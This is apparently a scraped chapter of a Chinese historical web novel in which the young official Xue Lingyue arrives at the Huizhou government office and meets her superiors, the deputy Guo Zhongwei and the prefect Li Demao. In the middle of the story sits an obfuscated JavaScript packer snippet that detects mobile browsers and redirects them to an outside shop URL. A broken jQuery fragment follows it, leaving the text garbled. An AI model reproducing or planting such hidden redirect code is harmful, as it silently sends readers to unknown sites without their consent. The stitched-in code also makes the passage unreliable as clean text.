薛灵玥隔得远，只看得见那老者叉腰挺背，背影都绷得死紧。


    而他身后的台阶下停着两架马车，上装满了锗褐色的木箱，样式隐约瞧着有些眼熟。


    她正要加快步子，却见那老者转过身来，一屁股坐在台阶上，从怀中掏出个纸包，张嘴要啃——薛灵玥倏地睁大眼睛：“武师傅，您怎么在这儿！”


    “哎呀！”武师傅一拍大腿，眼中亮得吓人，猛地站起身来，“你这鬼丫头怎得才来！真叫老夫好等！”他转身灵活地跃上台阶，朝那卫兵道：“你看看你看看，老夫说什么来着，我就说我是长史大人的亲信，你还不信！还要抓老夫下狱！这有没有王法啦！”


    几名卫兵面面相觑，狐疑地盯着来人——这女郎生得一张白皙可人的圆脸儿，杏眼灵动狡黠，嘴角含笑，身形步伐轻快稳健，但观年纪不过才是十七八岁的模样，怎么会是新任的长史大人！


    那领头的粗声粗气道：“我警告你们，假冒朝廷命官可是要杀头坐牢的重罪！识相的快快离开，老子我就当没见过你们！”


    说话间这女郎已走至近前，但她杏眼发冷，充耳不闻，只是淡淡扫了他们一眼，转而朝老者抱拳笑道：“我的官袍可是在您这儿？先前师父说会派人替我送来，想不到竟然是您，自长安一别也有半载未见，武师傅身体可还康健？”


    “好着呢好着呢！”武师傅一吹胡子：“若不是他在这儿拦着老夫，我这会儿早该进去吃吃茶，再给你把官袍熨整一番！”


    这下众人不由得惊疑起来。


    若是假冒，怎会如此镇定！而且确有传言说新任的长史大人是个女郎......


    就在卫兵们各自揣测之际，这年轻的女郎飒然一笑，向为首那人亮出手中的官印和文书。


    吏部的铜印和告身绝不可能作假，对方一见，立刻脸色一变，弯腰行礼，恭声道：“大人恕罪，属下们实在不知您今日到任，更不知这位老先生是您的人，多有怠慢，还望大人宽恕则个。”


    说罢门口的卫兵呼啦啦一片同时单膝点地，跪下行礼。


    这阵仗弄得武师傅都有些不好意思起来，讪讪道：“唉，这不知者不怪，算了算了......”


    “既是武师傅这样说，你们便起来罢。”薛灵玥淡淡抬眸。


    众人不由得心下一松，稀稀拉拉站起身来，“谢大人！”


    “听闻刺史大人外出巡视，眼下衙中哪位大人当值？”她又道。


    “回大人，”那卫兵道：“是别驾郭大人在衙中，属下这就给您带路。”


    薛灵玥点了点头，会州别驾郭重威她此前略有耳闻，听说这人是个出了名的老好人，跟谁面前都能混个好儿脸，半点不得罪。


    她转头对武师傅道：“您把官袍给我，先去侧衙歇息片刻。”


    武师傅诶了一声，见她又对身后那年轻灵泛的小厮道：“听风，你把马车里的东西送回家安置，晌午用过饭再回来找我与武师傅。”


    这令下得爽快利索，武师傅捻须一笑，短短几句话就瞧出这丫头已与往昔不同。此地的刺史不在，她拿不准衙门往哪儿开，不敢轻易去用招待的饭食。


    都交代好了，两人跟在那卫兵身后走入州衙。


    绕过绘有白泽瑞兽的屏风，方正严整的正堂赫然出现在眼前。


    武师傅打眼一扫，此处虽稍显破旧，好在宽敞开阔，采光甚是不错，渐渐升起的日头斜洒进院中，照在院落四角，侧厅有几个书吏身着浆洗得发白的公袍伏案疾书，一股端肃之气油然而出。


    拜见别驾大人前，薛灵玥先换妥了官袍——通体深绿色的锦绣官袍衬得她气色红润，面颊白皙，腰间系着的圆形银带銙以铜鎏金螭为首扣，右悬个银色鱼袋，随着她的步伐轻微晃动。


    黑色纱罗平巾帻下一双杏眼灼灼有神，面目含笑。但观她举止仪度已不似往日女儿家那样明媚可爱，反而显现出逼人的英气。


    武师傅眼睛一亮，啧啧道：“嘿，穿上这身官袍，还真是那么回事儿！”


    薛灵玥抿唇笑了笑，淡然地垂头看看自己这身打扮，轻笑道：“我先去拜见各位大人，您在此处吃些茶点，一会儿恐怕我还有事拜托您。”


    “好说好说！”


    武师傅看她步伐端正，从容大方地随着那卫兵往后堂去了，才收回目光，钻到侧屋去躲日头。


    却说后堂那处，会州别驾郭重威此时醒来不过片刻。


    才冠带齐整，正接过仆人递来的巾子净面，便听到外边儿人通传说新上任的会州长史薛灵玥已到衙中，前来拜见。


    他手上一顿，忙胡乱抹了一把，理理冠带，步伐急促地走出门来。


    灰白斑驳的门扉“吱呀”一声被猛地拉开，薛灵玥站在院中定睛一看，来人着浅绯色官袍，腰间系着金玉带銙，一枚金色鱼袋悬挂其上，隐隐透出金芒。通身大周五品下官员的才能配得制式，必定是郭重威无疑了。


    她立刻颔首行礼，气息沉定，不卑不亢道；“下官新任会州长史薛灵玥，拜见别驾大人。”


    “哎，快请起！”郭重威大步迎前，抬手虚扶，笑道：“薛大人少年英才，能到我会州来，实乃会州之幸啊！”


    薛灵玥从善如流的抬起头来。


    许是性格的缘故，已过中年的郭重威天生一副笑模样，面庞圆润微胖，眼角微微下垂，鼻头圆钝，口边两道浅纹舒展开来，和蔼得如一尊佛像似的。


    她心下微微放松，声音清亮：“多谢大人夸赞，下官资历尚浅，承蒙朝廷恩典才提点州中长史之责，日后还望大人不吝赐教。”


    “这是自然，你初到会州，宅中可都安顿好了？”郭重威十分热络客气道：“若有什么需要帮忙的尽管开口，大家同朝为官，我又虚长你几岁，该帮能帮的自然义不容辞。”


    薛灵玥朗声道：“谢大人体谅，家中一切都好。下官初到此地，见城中百姓和乐富足，衙中公人有条不紊，这皆是大人们调度有方，日后下官跟着您可有得学呢。”


    郭成威不禁哈哈大笑起来，“谬赞啦，本官实不敢当啊！这几日刺史大人还未回来，不如你先熟悉一下城中诸事，尤其是那六曹事务，十分的繁琐。不过你也不要急，日子还长，凡事遇到不懂的来问我就是。”


    薛灵玥点头称是。


    两人一边说着，一边款步朝正堂去。行至半路，外头忽然急奔进来一名卫兵，大声道：“禀大人，刺史大人回衙了！”


    “哦？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213637|184007||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    郭重威挑眉一愣，喃喃道：“怎的今日就回来了？”


    他看向身旁的薛灵玥，笑道：“看来你还是一员福将啊，大人提前回衙，想必是边境军务一切妥当了。”


    边境州府的刺史需定期巡查辖内关隘烽燧，若赶上天气不好，一去常常是几十日回不来。想不到这次竟然回来的如此之快，众人不由得都有些惊奇。


    薛灵玥礼貌的笑了笑，退后半步，跟在郭重威身侧，快步朝衙门口走去。


    约两丈多宽的朱漆大门外，停着一辆双轮曲辕，顶覆青缯帷幔的朱络安车，两匹油光水滑的高头大马立在车前。它后头停着一串黑漆简朴的副车，几十名仆役正围在一处，忙着从收敛仪仗，搬运文书。


    随行的小吏将下车的铜凳放在曲辕旁，上前撩开车帘，郭重威奔上前去，恭声道：“大人此行辛劳，路上一切住行可还顺利？”


    车中先是伸出一只瘦骨嶙峋的手，大拇指上带着一只通体翠绿的扳指，手指稳稳张开，扶在那小吏的胳膊上。紧接着，一名身形精瘦，面容清癯的老人弓腰钻了出来。


    他头戴乌纱幞头，身着绛红官袍，两颊微微凹陷，一张窄脸上挂着鹰鼻鹰目，锐利十足，唇口处微微耷拉着，隐隐透出些许刻薄相。


    “托别驾的福，尚可罢了。”他声音有些干涩，抬腿下车时冷冷的眼风扫了过来，恰好停在恭敬站在一旁的薛灵玥身上。


    这时候没她说话的份儿，薛灵玥便识相的站在一旁，规矩静默地看。冷不防被人一瞪，她立刻颔首行礼：“下官薛灵玥，拜见刺史大人。”


    李德茂立在车前，闻声眼皮微微掀开，薄唇紧抿，挑剔的目光上下打量着薛灵玥。


    一时间众人纷纷噤声，都看了过来。


    郭重威见状忙上前半步，左右看看，热络的开口替她解围：“大人，这是今日才到任的新任长史薛灵玥，我瞧着她聪颖敏锐，确实是个可造之才呀！”


    薛灵玥仍规矩的垂着脑袋。李德茂收回视线，不屑的冷哼一声，“现在的女郎们确实是本事越来越大了，一个个能耐得很。”


    说罢他袖子一甩，大步流星地抬脚往领着众人往衙中去，将薛灵玥晾在原地。


    余光中绛红官袍一闪而过，薛灵玥微微抬眼，见郭重威跟在人群最后，正无声地跳着脚，挤眉弄眼的朝她打手势，意思是等什么呢，快进来啊！


    样子有些滑稽好笑。


    薛灵玥心下一暖，点了点头。虽然吃了个好大的下马威，但也不算太差。她深吸一口气，再次抬脚越过那道高高的州衙门槛儿。


    此时李德茂已经袍子一撩，在正堂为首的位置上坐下了。


    厅中站满了州内的各级官员。薛灵玥走在最后，只觉无数道目光像箭一般扎了过来，有好奇，有打量，更多的则是因为方才李德茂那番言行而引来的审视和不屑。


    刺史在州中地位卓然，有他一言在先，现在连旁侧的衙役都忍不住交头接耳，私语之声顺着风儿钻到她耳朵里：


    “哎呦，还真是瞧着跟我家闺女差不多大，指不定是哪家权贵派来混日子的？”


    “那也不一定，你看她的相貌，说不准是攀了个好郎君，待不了几日便走喽......”